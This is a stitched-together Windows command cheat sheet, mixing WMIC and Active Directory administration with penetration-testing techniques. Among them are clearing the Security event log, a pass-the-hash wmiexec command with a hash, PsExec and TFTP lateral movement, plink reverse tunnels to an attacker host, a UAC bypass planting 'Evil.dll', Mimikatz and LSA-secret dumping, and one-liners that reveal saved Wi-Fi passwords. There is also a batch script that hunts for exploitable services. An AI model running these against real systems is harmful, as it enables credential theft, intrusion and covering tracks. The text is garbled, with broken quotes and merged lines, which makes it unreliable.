Spot Odd Executables - wmic PROCESSWHERE"NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
Look at services that are set to start automatically - wmic SERVICE WHERE StartMode="Auto" GET Name, State
Find user-created shares (usually not hidden)- wmic SHARE WHERE"NOT Name LIKE '%$'" GET Name, Path
Find stuff that starts on boot - wmic STARTUP GET Caption, Command, User
Identify any local system accounts that are enabled (guest, etc.)- wmic USERACCOUNT WHERE"Disabled=0 AND LocalAccount=1" GET Name"
Change Start Mode of Service - wmic service where (name like "Fax" OR name like "Alerter") CALL ChangeStartMode Disabled
Number of Logons Per USERID - wmic netlogin where (name like "%skodo") get numberoflogons
Obtain a Certain Kind of Event from Eventlog - wmic ntevent where (message like "%logon%") list brief
Clear the Eventlog (Security example) - wmic nteventlog where (description like "%secevent%") call cleareventlog
Get Mac Address - wmic nic get macaddress
Reboot or Shutdown - wmic os where buildnumber="2600" call reboot
Update static IP address - wmic nicconfig where index=9 call enablestatic("192.168.16.4"), ("255.255.255.0")
Change network gateway - wmic nicconfig where index=9 call setgateways("192.168.16.4", "192.168.16.5"),(1,2)
Enable DHCP - wmic nicconfig where index=9 call enabledhcp
Service Management - wmic service where caption="DHCP Client" call changestartmode "Disabled"
Start an Application - wmic process call create "calc.exe"
Terminate an Application - wmic process where name="calc.exe" call terminate
Change Process Priority - wmic process where name="explorer.exe" call setpriority 64
Get List of Process Identifiers - wmic process where (Name='svchost.exe') get name,processid
Information About Harddrives - wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
Information about os - wmic os get bootdevice, buildnumber, caption, freespaceinpagingfiles, installdate, name, systemdrive, windowsdirectory /format:htable > c:osinfo.htm
Information about files - wmic path cim_datafile where "Path='windowssystem32wbem' and FileSize>1784088" > c:wbemfiles.txt
Process list - wmic process get /format:htable > c:process.htm
Retrieve list of warning and error events not from system or security logs - WMIC NTEVENT WHERE "EventType<3 AND LogFile !='System' AND LogFile !='Security'" GET LogFile, SourceName, EventType, Message, TimeGenerated /FORMAT:"htable.xsl":" datatype = number":" sortby = EventType" > c:appevent.htm
Total Hard Drive Space Check - wmic LOGICALDISK LIST BRIEF
Get Running Services Information - Wmic service where (state=â€runningâ€) get caption, name, startmode, state
Get Startmode of Services - Wmic service get caption, name, startmode, state
Get Domain Names And When Account PWD set to Expire - WMIC UserAccount GET name,PasswordExpires /Value
Get Hotfix and Security Patch Information - WMIC QFE GET /format:CSV >QFE.CSV
Get Startup List - wmic startup list full
Find a specific Process - wmic process list brief - find "cmd.exe"
Get List of IP Interfaces - wmic nicconfig where IPEnabled='true'
Change IP Address - wmic nicconfig where Index=1 call EnableStatic ("10.10.10.10"), ("255.255.255.0")
OS/System Report HTML Formatted - wmic /output:c:os.html os get /format:hform
Products/Programs Installed Report HTML Formatted - wmic /output:c:product.html product get /format:hform
Services Report on a Remote Machine HTML Formatted - wmic /output:c:services.htm /node:server1 service list full / format:htable
Turn on Remoted Desktop Remotely! - Wmic /node:"servername" /user:"user@domain" /password: "password"
RDToggle where ServerName="server name" call SetAllowTSConnections 1
Get Server Drive Space Usage Remotely - WMIC /Node:%%A LogicalDisk Where DriveType="3" Get DeviceID,FileSystem,FreeSpace,Size /Format:csv MORE /E +2 >> SRVSPACE.CSV
Get PC Serial Number - wmic /node:â€HOST†bios get serialnumber
Get PC Product Number - wmic /node:â€HOST†baseboard get product
Get Services for Remote Machine in HTML Format - wmic /output:c:services.htm /node:server1 service list full / format:htable
type c:\sysprep.inf
type c:\sysprep\sysprep.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
findstr /S pass *.txt *.xml *.ini //in C:\
#find out what groups a user is part of
net user <userName>/domain | find "Group"
after % starts the password
“aad3b435b51404eeaad3b435b51404ee” is the blank LM hash
Pass the Hash
wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:B74242F37E47371AFF835A6EBCAC4FFE alice@localhost
Exec commands on remote Windows machine PsExec.exe \\10.11.1.49 -u alice -p somepasswd cmd
get a file from Kali to the remote Windows machine TFTP.EXE -i 10.11.1.49 get PsExec64.exe
remote port forwarding from Windows -> Kali plink.exe -l root -pw Parolaroot -R 445:127.0.0.1:445
Redirect port with plink.exe plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185 ##redirects the Windows port 445 to Kali on port 22
Bypass with Windows Installer (Removed in Windows 10) makecab C:\Some\Evil.dll C:\Some\Suspicious.cab wusa C:\Some\Suspicious.cab /extract:C:\Windows\Some\Path
Import-Module ADDSDeployment
#Initiate the new Active Directory:
Install-ADDSForest-CreateDnsDelegation:$false-DatabasePath "C:\Windows\NTDS"-DomainMode "Win2012R2"`-DomainName "raymii.nl"-DomainNetbiosName "RAYMII"-ForestMode "Win2012R2"-InstallDns:$true`-LogPath "C:\Windows\NTDS"-NoRebootOnCompletion:$false-SysvolPath "C:\Windows\SYSVOL"-Force:$true
Add a server to a domain:
#First test the existing domain to make sure you can join:
Test-ADDSForestInstallation-DomainName raymii.nl
#Add the server to the domain as a backup domain controller:
Install-ADDSDomainController-InstallDns -Credential (Get-Credential RAYMII\Administrator)-DomainName raymii.nl
Create an Active Directory user account:
New-ADUser-Name "John Doe"-GivenName John -Surname Doe `-SamAccountName jdoe -UserPrincipalName jdoe@craymii.nl`-AccountPassword (Read-Host-AsSecureString "hunter2")`-PassThru |Enable-ADAccount
Create an Active Directory group:
#Use the below command to create a new global group in the default Users folder of Active Directory called "Managers":
New-ADGroup-name "Managers"-groupscope Global
#If it needs to exist in different path in Active Directory, specify the path by its distinguished name:
New-ADGroup-name "Managers"-groupscope Global -path "OU=OtherOU,DC=Raymii,DC=nl"
Add user to a group:
#The below command adds the user jdoe to the Managers group:
Add-ADGroupMember-Identity "Managers"-Member "jdoe"#To add a user in a different OU to a group in a different OU, you can specify the full DN:
Add-ADGroupMember-Identity "CN=SupportSlavesGroup,OU=SupportSlaves,DC=raymii,DC=nl"-Members "CN=jdoe,OU=OtherUserOU,DC=raymii,DC=nl"
Install Microsoft Exchange 2013:
#Install the RSAT-DSS role via Powershell:
Install-WindowsFeature RSAT-ADDS
#We prepare the forest for the instalation of Exchange. First the Schema:
setup /ps /IAcceptExchangeServerLicenseTerms
#The Active Directory:
setup /PrepareAD /OrganizationName:"Raymii"/IAcceptExchangeServerLicenseTerms
#The Domain itself:
setup /pd /IAcceptExchangeServerLicenseTerms
#Install other required components and features for Exchange:
Install-WindowsFeature AS-HTTP-Activation, Desktop-Experience, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation
#You need to download and install the following setups manually from the Microsoft website and install them in the order listed below:
# Unified Communications Managed API 4.0 Runtime
# Microsoft Office 2010 Filter Pack 64 bit
# Microsoft Office 2010 Filter Pack SP1 64 bit
#Start the actual Exchange installation:
setup /m:Install /Roles:ca,mb,mt /IAcceptExchangeServerLicenseTerms /InstallWindowsComponents /DBFilePath:"E:\EXCHANGE\MDB001.edb"/LogFolderPath:"E:\EXCHANGE"/MdbName:"MDB001"
Uses Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory to dump credentials without ever writing the mimikatz binary to disk. Dump all domain creds with mimikatz
Hashes are dumped using a modified version of powerdump script from MSF written by David Kennedy. Administrator privileges are required for this script
Extracts LSA secrets from HKLM:\\SECURITY\Policy\Secrets\ on a local computer. The payload must be run with elevated permissions, in 32-bit mode and requires permissions to the security key in HKLM. The permission could be obtained by using Enable-DuplicateToken payload.
$wlans= netsh wlan show profiles |Select-String-Pattern "All User Profile"|Foreach-Object{$\_.ToString()}$exportdata=$wlans|Foreach-Object{$\_.Replace(" All User Profile : ",$null)}$exportdata|ForEach-Object{netsh wlan show profiles name="$\_" key=clear}
(netsh wlan show profiles)|Select-String"\\:(.+)$"|%{$name=$\_.Matches.Groups\[1\].Value.Trim(); $\_}|%{(netsh wlan show profile name="$name" key=clear)}|Select-String"Key Content\\W+\\:(.+)$"|%{$pass=$\_.Matches.Groups\[1\].Value.Trim(); $\_}|%{\[PSCustomObject\]@{ PROFILE\_NAME=$name;PASSWORD=$pass}}|Format-Table-AutoSize
(netsh wlan show profiles)|Select-String"\\:(.+)$"|%{$name=$\_.Matches |%{$\_.Groups\[1\].Value.Trim()}; $\_}|%{(netsh wlan show profile name="$name" key=clear)}|Select-String"Key Content\\W+\\:(.+)$"|%{$pass=$\_.Matches |%{$\_.Groups\[1\].Value.Trim()}; $\_}|%{\[PSCustomObject\]@{ PROFILE\_NAME=$name;PASSWORD=$pass}}|Format-Table-AutoSize
foreach($profilin(netsh wlan show profiles |Select-String':')){foreach($linein(netsh wlan show profiles name=($profil.toString().split(':')\[1\].trim()) key=clear)){$line+';'}};
Then, once the command completed, I set up a netcat listener on my attacker machine and issued a second command to the web application to push a shell back to my attacker machine via netcat:
@echo off &for /f "tokens=1\*delims=:"%a in ('netsh wlan show profiles') do (for /f "tokens=\*" %c in ("%~b") do netsh wlan show profile name=%c key=clear) | findstr /c:"Key Content" /c:"SSID name"
Check permissions on services
@echo off
REM Batch port of selected modules from PowerUp by harmj0yREM Author: @\_wald0SETLOCAL ENABLEDELAYEDEXPANSION
REM ======================================REM = Find unquoted service binary paths =REM ======================================echo(
echo Finding unquoted service binary paths...
echo(
for /f "tokens=2\* delims=:"%%i in ('scquery^|findstr"SERVICE\_NAME"') do (setstr=%%isetstr=!str:~1!sc qc "!str!"|findstr"BINARY\_PATH\_NAME"|findstr /iv "c:\\windows\\\\"|findstr /iv """)REM ========================================================================REM = Check permissions on services =REM = Technique stolen from PowerUp by harmj0y =REM = https://github.com/HarmJ0y/PowerUp/blob/master/PowerUp.ps1#L104-L141 =REM ========================================================================echo(
echo Finding service binaries your user has write access to...
echo(
for /f "tokens=2\* delims=:"%%i in ('scquery^|findstr"SERVICE\_NAME"') do (setstr=%%isetstr=!str:~1!for /f "tokens=4"%%e in ('sc qc "!str!"^|findstr"ERROR\_CONTROL"') do (seterrCtrl=%%esc config "!str!" error= !errCtrl!>nul&&(echo Vulnerable service found: !str!)))REM =================================================REM = Check for write access to directories in PATH =REM =================================================echo(
echo Finding write access in PATH directories...
echo(
REMhttp://stackoverflow.com/a/14879373for%%A in ("%path:;=";"%") do (setfilename=%%~A\\dll-write-check.txtcopy /y nul"!filename!">nul2>&1&&(del"!filename!"echo Writable path directory found: %%A
))